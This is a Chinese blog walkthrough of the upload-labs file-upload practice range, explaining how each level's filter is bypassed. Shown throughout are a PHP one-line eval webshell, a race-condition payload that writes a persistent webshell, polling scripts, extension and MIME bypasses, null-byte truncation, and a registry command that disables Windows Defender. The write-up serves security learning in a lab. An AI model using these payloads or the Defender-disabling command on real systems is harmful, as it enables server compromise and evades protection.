渗透学习-文件上传篇-靶场部分-upload-labs(持续更新中)


前言

在经过之前的基础知识部分的学习后,今天让我们正式开始靶场的攻克。基础知识传送门

要想成为一名优秀的Hacker,就必须多动手,多实践。那么废话不多说,正式开始吧!


一、安装uploads:

下载链接:https://codeload.github.com/c0ny1/upload-labs/

安装环境以及工具: VMware + Windows10 + phpsutdy2018 + Apache 2.4.39 + php 5.2.17(TS)!!!

首先将下载好的包进行解压缩:
在这里插入图片描述

然后将文件夹放到对应的phpstudy的www文件目录之下即可:
在这里插入图片描述

然后就可以正常访问了:
在这里插入图片描述

二、靶场攻略

在每一关开始前,我都会先把前一关上传的文件都删除了!!!

pass-01(JS类)

第一关,我们首先验证以下是否是由前端的JS进行过滤的,那么我们随便上传一个文件看看:
在这里插入图片描述

很好,看到这一个弹窗呢,让我们很容易的想起是否有可能是JavaScript的代码执行结果,那么我们就禁用JS看看:
我们使用的工具是JavaScript Switcher:在这里插入图片描述

然后我们打开刚刚的页面,在上方地址栏旁边点击该插件,以确保将第一关的前端JS禁止掉,而后我们在进行上传php文件就可以发现成功了!!!!
在这里插入图片描述
test.php中写的代码如下:

<?php
phpinfo();
?>

那么,我们来执行一下看看:

在这里插入图片描述

yeap,我们确实绕过了。当然这里我们使用burpsuite也是可以的。下面我来展示一下:
首先创建一个php文件,这里啊,我们展示一下一句话木马以及其怎样进行连接吧:

<?php @eval($_POST['2222']); ?>

1、我们打开burpsuite软件,然后在火狐中设置对应的代理;

2、我们先将文件名改成页面要求合法的文件后缀:eval.jpg。

3、然后点击上传,我们进行抓包更改:

在这里插入图片描述
4、然后点击放行即可。
那么我们来看看后台是否上传成功了?
在这里插入图片描述

对的成功了!!!! 然后接下来演示一下用蚁剑来连接一下这个webshell:
右击空白处,点击【添加数据】
在这里插入图片描述
然后输入对应的信息后,点击测试链接,如果返回成功则代表可以连接上了:(注,这里最好将靶机的杀软关了,比如微软自带的defender)

在这里插入图片描述
此时,再点击一下新创建的能够链接,我们就可以执行webshell了!!
在这里插入图片描述

因此啊,从这里看,文件上传如果过滤不严谨的话,危害还是相当大的!!!

pass-02(白名单,MIME)

为了方便后续的理解我们来打开源代码看一下:
在这里插入图片描述

这里箭头指向的地方,就代表着本关所使用的过滤方法。这里呢,主要是利用判断上传的文件类型是否是image/jpeg这种方法进行的。也就是说这一类的防范是属于MINE类型的。那么,我们按照基础知识讲的,我们来利用一下抓包修该MINE类型看看:

抓取对应的包,然后我们在下面这一部分的内容里,将content-type修改成如下的样子(或则说其他的合法类型也可):

Content-Disposition: form-data; name=“upload_file”; filename=“test.php”
Content-Type: image/jpeg

在这里插入图片描述

这里在burpsuite的repeater模块中,就可以看到我们修改后的数据是可以进行上传的。那么我们在此就访问一下test.php看看:

在这里插入图片描述

成功!

pass-03(黑名单,特殊解析后缀)

首先呢,我们先上传个普通的看看服务器会有提示或则反应:
在这里插入图片描述

喔!!看了下这里报错信息说不允许上传这些,那么我们试试看用特殊后缀?
在这里插入图片描述

喔,很好可以上传嘛!!! 那么我们试着访问看看?

在这里插入图片描述

额,这里貌似出了点错啊!!明明已经上传成功了,为什么不能访问呢?唉😢让我们看看源代码吧:
在这里插入图片描述

在该代码中进行过滤的大致顺序是:

  1. 用trim 进行移除字符串两侧的空白字符或其他预定义字符;
  2. 利用deldot 删除文件名末尾的点;
  3. 获取自点开始的字符串,也就说类似.php;
  4. 将大小写进行了转换;
  5. 替换字符串::DATA为空;
  6. 将尾部空余去除;
  7. 进行与定义的后缀进行比较

以上呢,就是我们从源代码中读取到的内容。 首先就算利用黑名单的思想进行判断后缀。然后再利用函数去除一些可能引起歧义的字符串等等。最后呢,在利用随机函数进行重命名文件名。

通过研读代码,我们已经大致判断出了我们这里出现的问题。我们已经将1~6的过滤都绕过了,但是由于7的重命名才导致我们无法访问的!!

那么我们该怎么获得呢???这里我们想到有没有可能如果服务器端没做好返回的数据,那么是否有可能会返回文件名回来呢?我们接下来试试看:

我们将接下来的数据包放入到【repeater】模块,然后点击【sent】发送,接下来就让我们读读返回的数据包到底有没有吧?

在这里插入图片描述

woc,真的有啊!!! 看来这里做的确实不太行,一般来说吧防护做的好一点的网站根本不会返回对应的文件名,更别说这里把相对路径都返回了!!

这里会有关于解析.php3的bug,如果大家自行配置的过程中无法解决可以参考一下我的这篇博客:记录BUG—在uploadlabs第三关中—关于phpstudy中修改httpd.conf依旧无法解析.php3等问题

那么既然这里出现了这个文件名,我们就访问看看:
在这里插入图片描述
成功绕过(*笑) 其实这一关主要花费我时间多的就在于上述的bug里。其次就是我在思考,能否不利用遍历就获取文件名这里(所以以后没事可以多看看发送的数据包和响应包,说不定会有额外惊喜)。

pass-04(黑名单,.htaccess解析)

首先依旧我们先上传一下.php与.php3试试看!! 发现不太行,估摸着这里把所有特殊解析后缀都排除了!!(可以自行产尝试)

那么我们看一下源码中,其过滤了哪些文件后缀吧?【这里,貌似也有第三关的解析问题,所以还是切换版本好了】

在这里插入图片描述

过滤的是挺多的!但是仔细看完其实我们还有一种文件很重要但是其没有设置过滤:

没错!那就是。htaccess解析文件。该文件极其重要,毕竟是可以控制upload这个目录域下面的文件解析规则的啊!! 那么我们来测试一下看看:

<FilesMatch "Messi">  
SetHandler application/x-httpd-php
</FilesMatch>

然后我们先点击上传看看:
在这里插入图片描述

ok,上传成功了! 然后我们继续进一步的将之前的test.php更名为Messi.jpg
在这里插入图片描述

上传完成了,然后让我们访问看看:
在这里插入图片描述

ok,能够成功解析了!(说句题外话,这里我又碰到了解析环境的问题,真的是搞死了。。可能也就只是打靶吧,感觉实战的话估摸着这种漏洞几乎没有了!不过还是要学习,多了解了解才好)

pass-05(黑名单,奇怪的姿势 or .user.ini 绕过)

.user.ini:
首先我们写入.user.ini文件:
在这里插入图片描述

然后,点击上传.user.ini文件以及之前蕴含着php代码的图片。 上传完成后,我们进行范文该目录下的任意一个php文件(这里我就范文readme.php了)
在这里插入图片描述

为了做出对比,这里我放出访问在没有上传.user.ini前的readme.php时的页面情况:

在这里插入图片描述

因此,可以看出我们上传成功了!!!! 好了接下来我们看看第二种方法:

利用代码中的疏漏,直接输入. . 进行绕过:

我们开启抓包代理模式,然后点击上传一个含有php代码的jpg文件,然后在抓取的爆中进行如下的修改:
在这里插入图片描述

然后放行数据包,就可以看到能够上传成功,并且访问了,嘿嘿嘿:

在这里插入图片描述
在这里插入图片描述

pass-06(黑名单,大小写绕过)

这里,我们查看源码,可以发现代码中把转化大小写的函数去除了,因此非常之简单直接利用大小写进行绕过即可。当然也可以使用.【空格】.进行绕过:

在这里插入图片描述

上传成功!!!具体访问页面不展示了。可自行访问。。。

pass-07(黑名单,空格绕过)

代码中把末尾去空的代码删除了,因此我们可以在文件名的末尾加上空格来实现过滤代码的绕过!!

在这里插入图片描述

这里关于php文件随机数的获取使用的方法和第三关一样,这里不再赘述!!!

在这里插入图片描述

pass-07(黑名单,空格绕过)

这里的原理和前面讲过的.【空格】. 类似。但是这一关主要还是因为代码里没有加上删除末尾点的语句:

在这里插入图片描述

pass-08(黑名单,点绕过)

直接抓包,然后再文件名后加上一个.即可:
在这里插入图片描述

pass-09(黑名单,::$data绕过)

这里我们可以利用::$data来让Windows把文件变成一个流文件进行处理(详情请查看基础知识篇)。通过源代码可以看出来,这里并没有把这个转换进行删除掉,因此就可以使用这个小姿势进行绕过:

在这里插入图片描述

可以看出确实上传成功了!!!!

pass-10(黑名单)

这一关呢,我们先看一下源代码:
在这里插入图片描述
看了下后,基本上呢把我们前面绝大多数手法的都给过滤了! 怎么办呢,想用双写绕过
但是代码中并没有将关键词进行替换,因此即使上传了一般也无法解析啊!!! htaccess 和ini文件也被禁止了。emmm…那就只能使用前面所说的这个过滤代码里的逻辑漏洞了:

在这里插入图片描述

okok,没啥问题,嘿嘿嘿。

pass-11(黑名单,双写绕过)

直接将文件名进行修改,改成.phpphp或则.pphphp,然后再上传即可:
在这里插入图片描述

pass-12(白名单,零字节截断,GET)

首先,我们要确保php版本小于5.3,其次确保魔术引号关闭了:
在这里插入图片描述

我们先看一下源码是以什么方式提交的:

从上述中看出,是get型。okok,那上传一个正常是jpg,然后进行抓包,并修改一下看看:
在这里插入图片描述

从图中可以看出确实上传成功了!!!
在这里插入图片描述

pass-13(白名单,零字节截断,POST)

在这里插入图片描述

上图,可以看出是post传递的save_path。那我们继续抓包:
在这里插入图片描述

我们发现如果是直接利用前一关的方法会报错的!!!因此,正如基础知识里所说的,我们需要利用url进行解码:选中%00,右击空白处,选中【convert selection】 , 然后选中【URL】 ,选中【URL decode】即可:在这里插入图片描述

解码完后就是这个样子:

在这里插入图片描述

可以看出已经成功了!!! 当然除此之外我们还可以直接修改其二进制代码也是可以的: 首先随意输入一个字符,然后点击【HEX】

找到,刚刚对应的位置:
在这里插入图片描述

然后将36这个值改为00即可:
在这里插入图片描述

pass-14(图片马,unpack, 文件头检测)

在这里插入图片描述

通过读取文件的前两个字节来判断文件类型,本关的目的是上传图片马,所以利用copy命令将图片文件和php文件进行合并成图片马文件,命令如下:

copy 1.jpg /b + test.php /a 2.jpg

这里,我使用了自己的好几张图片,结果虽然能够制作成功且上传,但是由于可能解析时碰到了一些错误,导致是无法允许的。因此,这里我上网找了一个图片来进行制作:

请添加图片描述

然后,我们制作完成了,让我们看看我们制作好的图片马:
在这里插入图片描述

点击上传,出现图片后,右击复制图片的地址:,

然后利用文件包含漏洞进行访问即可:

http://192.168.10.129:8080/upload-labs/include.php?file=upload/4520220825205643.jpg

在这里插入图片描述

可以看到这里确实是访问成功了!!!

除此之外,由于这里的函数仅取文件的前两个字节来判断文件类型,因此我们还可以直接利用伪造头部进行绕过,如下我们先随意上传一个文件(含php恶意代码),然后利用抓包工具进行修改包:

在这里插入图片描述在这里插入图片描述

然后就可以看到访问成功了!!! 继续利用文件包含的漏洞进行利用该上传的一句话木马:
在这里插入图片描述

在这里插入图片描述

可以成功了!!!

pass-15(图片马,getimagesize, 文件头检测)

在这里插入图片描述

利用getimagesize函数获取文件类型是否是图片文件,跟上一关一样,可以用copy命令生成图片马,也可以在文件内容的开头加入GIF89A伪装成GIF文件。 因此,方法和上一关是一致的。

pass-16(图片马,exif_imagetype, 文件头检测)

exif_imagetype()读取一个图像的第一个字节并检查其后缀名。
返回值与getimage()函数返回的索引2相同,但是速度比getimage快得多。需要开启php_exif模块。

因此,方法也是一致的,在此不再赘述!!!

pass-17(图片马,exif_imagetype, 文件内容检测)

在这里插入图片描述

这关规定了文件的后缀名必须是jpg,png或gif,文件类型Content-Type必须为image/jpeg,image/png或image/gif,而且上传后还经过imagecreatefromgif函数进行图片二次渲染的过程。因此,若我们直接上传图片马,很可能就会因为代码中的二次渲染导致原本含有的恶意代码被更改了。

例如,我们先上传一下之前关卡制作的图片马看看:

在这里插入图片描述

可以看出,这里确实是已经被改变了!!!除此之外,我们直接伪造文件头也是不行了的:

在这里插入图片描述

不过,由于二次渲染后的图片是会有部分内容不会发生变化的,我们可以试着上传一张完整的GIF图片,对比上传后的图片与原来的图片:
在这里插入图片描述

可以看出文件开头还是有相当一部分是没改变过的,既然如此,我们是否可以在文件开头写入语句呢??让我们试试看:
在这里插入图片描述

然后,看看是否上传成功?

在这里插入图片描述

最后,来看看是否能够执行成功?
在这里插入图片描述

喔喔,没啥问题,嘿嘿嘿!!!!

pass-18(二次渲染,条件竞争,白名单)

在这里插入图片描述

这关先经过move_uploaded_file函数先进行文件上传,再利用白名单过滤文件,如果不是图片文件,则通过unlink函数将文件删除。

因此,我们可以利用条件竞争的原理,利用多线程不断上传php文件,再后台还未来得及通过unlink函数删除php文件时,访问到webshell。

现在我们来进行尝试攻击看看:

首先呢,我们打开burpsuite,进行抓包。将我们上传的包发至intrudr模块中,点击clear,清楚变量,方便我们后续直接不停的发送原包到服务器中:
在这里插入图片描述

然后,继续选择图片中的模块,以便后续进行不断的发送数据包:
在这里插入图片描述

然后,点击start attack,然后在浏览器中不停的刷新上传的页面即可:

在这里插入图片描述

这样子就可以显示出来了!! 但是啊,这种方法貌似只能依靠浏览器的缓存来进行显示一下phpinfo的信息。代码中依旧会删除。
在这里插入图片描述

那么我们就利用访问到该文件的瞬间来创建一个恶意的php程序留在服务器中:

fopen():用于打开一个文件,打开时需要指定打开模式。使用w时,如果文件不存在,则会自动创建且以只写模式打开,并且将文件大小设置为0(清空文件内容)

因此构造如下payload:

<?php fputs(fopen('yuan.php','w'),'<?php @eval($_POST["yuan"])?>');?>

这样子当我们访问到时,就可以在服务器的文件夹下创建一个程序了!!!

然后,我们继续创建一个python的脚本用于确定是否访问到了:

import requests
url = "http://192.168.10.129:8080/upload-labs/upload/eval.php"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break

然后进行不断的发包同时,允许python脚本:

在这里插入图片描述

此时,对应的服务器端就会创建出一个脚本:
在这里插入图片描述然后,我们用蚁剑连接看看:

在这里插入图片描述

注:以上可能不一定成功,如果Windows版本过高的话,则需要先关闭上安全功能才行!!! (毕竟我们这里没有做到免杀木马的水平,只是粗略的制作一个一句话木马进行实验。免杀这一块目前不涉及)

具体关闭方法如下: 用管理员权限打开cmd,输入如下命令即可:

reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender” /v “DisableAntiSpyware” /d 1 /t REG_DWORD /f

pass-19(二次渲染,条件竞争,白名单)

在这里插入图片描述

这一关根据代码来看,主要是在上传前先进行了文件名的检测。因此,我们无法想上一关一样利用条件竞争,来读取到临时产生的文件了!!!

那么我们上传其规定的合法合规的文件:

然后利用图片马以及文件包含的形式进行恶意的执行:
图片马:
在这里插入图片描述

我们将前一关的脚本更改一下:

url = "http://192.168.10.129:8080/upload-labs/include.php?file=upload/yuan.gif"
while True:
    html = requests.get(url)
    if ( 'Warning'  not in  str(html.text)):
        print("OK")
        break

然后,上传抓包,并不断的重放(和上一关操作一样的):
在这里插入图片描述在这里插入图片描述

开始点击attack,并启动脚本:
在这里插入图片描述

在这里插入图片描述

发现出现了!!! 我们连接一下看看:
在这里插入图片描述

注:这里啊,可能会老是因为Windows defener的防御老是出问题。那么我们多执行一下18关里的那个命令语句就可以了!!

pass-20(目录命名,黑名单)

这一关,首先我们查看一下源码:
在这里插入图片描述

从这里,可以很明显的看出本关采用的是黑名单策略进行过滤。而后,利用用户输入的文件名作为上传后的名字!!! 那么这里我们就可以利用Windows的目录命名特性 进行绕过执行:

目录命名
开启burpsuite进行抓包,然后在我们上传的文件名处进行如下修改:
在这里插入图片描述

然后,点击上传即可!此时直接访问该文件就可以发现成功了:
在这里插入图片描述

零字节截断
在这里插入图片描述
解码后变成如下图:
在这里插入图片描述
点击发送,然后看见响应包显示发送成功了,然后我们访问看看:
在这里插入图片描述

pass-21(数组命名,白名单)

这里,通过基础部分了解到我们可以直接对name数组进行修改即可:

在这里插入图片描述

具体原因来讲解一下:
在这里插入图片描述

但是当我们使用上述办法进行上传时,由于我们直接利用的是两个save_name[]数组进行对文件的命名。此时,file的第一部分就是upload-21.php 第二部分就是jpg ,而再将 . 进行连接。根据代码执行就会出现 2 - 1 = 1 也就是指向了name[1] 但是由于我们没有给name[1]赋值使用就为空。因此最后就会形成test.php.【空】 因此就达到了绕过的手段!!!

在这里插入图片描述
在这里插入图片描述

这里就可以看出count的值是2了!!!


总结

以上就是文件上传关于upload-labs靶场的主要内容了。

  • 1
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值